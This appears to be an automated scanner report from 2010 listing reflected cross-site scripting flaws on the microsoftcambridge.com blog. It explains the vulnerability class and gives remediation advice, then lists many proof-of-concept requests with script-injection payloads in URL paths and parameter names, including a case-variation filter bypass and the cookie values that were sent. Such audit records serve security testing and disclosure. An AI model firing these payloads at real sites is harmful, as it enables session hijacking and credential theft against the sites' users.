Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Issue remediation
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65684"><script>alert(1)</script>ef5d611cec4 was submitted in the REST URL parameter 2. This input was echoed as 65684\"><script>alert(1)</script>ef5d611cec4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site65684"><script>alert(1)</script>ef5d611cec4 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:13:08 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:13:08 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11385
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site65684\"><script>alert(1)</script>ef5d611cec4&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload eb566"><script>alert(1)</script>390e7c0b9b2 was submitted in the REST URL parameter 2. This input was echoed as eb566\"><script>alert(1)</script>390e7c0b9b2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/siteeb566"><script>alert(1)</script>390e7c0b9b2/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:09:13 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:09:16 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11391
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/siteeb566\"><script>alert(1)</script>390e7c0b9b2/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.3. http://microsoftcambridge.com/blog/site/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://microsoftcambridge.com
Path:
/blog/site/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 3fdce"><script>alert(1)</script>7170fa3b958 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 3fdce\"><script>alert(1)</script>7170fa3b958 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/?3fdce"><script>alert(1)</script>7170fa3b958=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:09:01 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 26153
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/?3fdce\"><script>alert(1)</script>7170fa3b958=1&title= Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of the p request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 53657"><a>31b9d07aa00 was submitted in the p parameter. This input was echoed as 53657\"><a>31b9d07aa00 in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /blog/site/?p=24853657"><a>31b9d07aa00 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:09:59 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 22972
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/?p=24853657\"><a>31b9d07aa00&title= Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of the p request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8111b"><ScRiPt>alert(1)</ScRiPt>44f71d11378 was submitted in the p parameter. This input was echoed as 8111b\"><ScRiPt>alert(1)</ScRiPt>44f71d11378 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain expressions that are often used in XSS attacks but this can be circumvented by varying the case of the blocked expressions - for example, by submitting "ScRiPt" instead of "script".
Remediation detail
Blacklist-based filters designed to block known bad inputs are usually inadequate and should be replaced with more effective input and output validation.
Request
GET /blog/site/?p=1808111b"><ScRiPt>alert(1)</ScRiPt>44f71d11378 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:39 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/?p=1808111b\"><ScRiPt>alert(1)</ScRiPt>44f71d11378&title= Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of the p request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 95c6f"><script>alert(1)</script>9a327bf2c08 was submitted in the p parameter. This input was echoed as 95c6f\"><script>alert(1)</script>9a327bf2c08 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/?p=29395c6f"><script>alert(1)</script>9a327bf2c08 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:02 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23104
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/?p=29395c6f\"><script>alert(1)</script>9a327bf2c08&title= Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 168b2"><script>alert(1)</script>257c86c02ef was submitted in the REST URL parameter 2. This input was echoed as 168b2\"><script>alert(1)</script>257c86c02ef in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site168b2"><script>alert(1)</script>257c86c02ef/2010/03/15/bobsledding-in-cambridge/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:46 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:50 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11607
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site168b2\"><script>alert(1)</script>257c86c02ef/2010/03/15/bobsledding-in-cambridge/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2d46"><script>alert(1)</script>d6a82d5d72c was submitted in the REST URL parameter 6. This input was echoed as d2d46\"><script>alert(1)</script>d6a82d5d72c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/03/15/bobsledding-in-cambridged2d46"><script>alert(1)</script>d6a82d5d72c/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:10:54 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:10:57 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23567
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/03/15/bobsledding-in-cambridged2d46\"><script>alert(1)</script>d6a82d5d72c/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.9. http://microsoftcambridge.com/blog/site/2010/03/15/bobsledding-in-cambridge/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://microsoftcambridge.com
Path:
/blog/site/2010/03/15/bobsledding-in-cambridge/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1b3db"><script>alert(1)</script>95989e447c1 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 1b3db\"><script>alert(1)</script>95989e447c1 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/03/15/bobsledding-in-cambridge/?1b3db"><script>alert(1)</script>95989e447c1=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:10:36 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31563
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/03/15/bobsledding-in-cambridge/?1b3db\"><script>alert(1)</script>95989e447c1=1&title=Bobsledding in Cambridge | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 92148"><script>alert(1)</script>f7a3d0a2a6 was submitted in the REST URL parameter 2. This input was echoed as 92148\"><script>alert(1)</script>f7a3d0a2a6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site92148"><script>alert(1)</script>f7a3d0a2a6/2010/04/05/microsoft-partnership-with-dogpatch-labs/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:56 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:57 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11697
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site92148\"><script>alert(1)</script>f7a3d0a2a6/2010/04/05/microsoft-partnership-with-dogpatch-labs/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d17ca"><script>alert(1)</script>855a7a82a11 was submitted in the REST URL parameter 6. This input was echoed as d17ca\"><script>alert(1)</script>855a7a82a11 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labsd17ca"><script>alert(1)</script>855a7a82a11/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:59 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:13:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23663
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labsd17ca\"><script>alert(1)</script>855a7a82a11/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
1.12. http://microsoftcambridge.com/blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labs/ [name of an arbitrarily supplied request parameter]previousnext
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6c316"><script>alert(1)</script>cca0ef29937 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 6c316\"><script>alert(1)</script>cca0ef29937 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labs/?6c316"><script>alert(1)</script>cca0ef29937=1 HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 15:12:50 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 32373
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labs/?6c316\"><script>alert(1)</script>cca0ef29937=1&title=Microsoft Partnership with Dogpatch Labs | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 7 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 81b2e"><script>alert(1)</script>24edd4e6d0a was submitted in the REST URL parameter 7. This input was echoed as 81b2e\"><script>alert(1)</script>24edd4e6d0a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labs/feed81b2e"><script>alert(1)</script>24edd4e6d0a/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:13:02 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:13:02 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23693
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site/2010/04/05/microsoft-partnership-with-dogpatch-labs/feed81b2e\"><script>alert(1)</script>24edd4e6d0a/&title=Page not found | Microsoft New England Research & Development Center Blog" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4f101"><script>alert(1)</script>2b1cf4df762 was submitted in the REST URL parameter 2. This input was echoed as 4f101\"><script>alert(1)</script>2b1cf4df762 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site4f101"><script>alert(1)</script>2b1cf4df762/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:39 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:42 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 11973
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" dir="ltr">
<head profile="http://g ...[SNIP]... <area alt="Del.icio.us" target="ext" href="http://del.icio.us/post?url=http://microsoftcambridge.com/blog/site4f101\"><script>alert(1)</script>2b1cf4df762/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts/&title=Page not found | default" coords="0,0,22,24" shape="rect"/> ...[SNIP]...
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6f218"><script>alert(1)</script>c52654b73ed was submitted in the REST URL parameter 6. This input was echoed as 6f218\"><script>alert(1)</script>c52654b73ed in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /blog/site/2010/04/14/fueling-the-masschallenge-and-supercharging-the-innovation-ecosystem-in-massachusetts6f218"><script>alert(1)</script>c52654b73ed/ HTTP/1.1 Host: microsoftcambridge.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: X-Mapping-nbhajkek=11FDCDCF30E2815D2A6FEB5FE2427B14; language=en-US; X-Mapping-pfddgonl=29291CB50178807E04EE211C8DF8D85B; .ASPXANONYMOUS=rKinFlO_ywEkAAAAMThiMDdlNmYtOTM4Ni00Yjk2LWJhMTktOWJiMzRjNWYwYzAy0;
Response
HTTP/1.1 404 Not Found Date: Sat, 20 Nov 2010 15:12:46 GMT Server: Apache/2.2 X-Pingback: http://microsoftcambridge.com/blog/site/xmlrpc.php Expires: Wed, 11 Jan 1984 05:00:00 GMT Last-Modified: Sat, 20 Nov 2010 15:12:49 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Pragma: no-cache Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 23933
